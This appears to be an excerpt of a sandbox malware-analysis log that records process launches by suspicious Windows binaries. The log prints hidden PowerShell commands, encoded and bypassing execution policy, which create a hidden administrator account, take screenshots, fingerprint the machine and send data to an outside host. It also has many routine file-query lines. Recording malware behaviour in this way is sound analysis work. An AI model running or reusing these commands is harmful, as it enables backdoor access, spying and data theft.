lahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
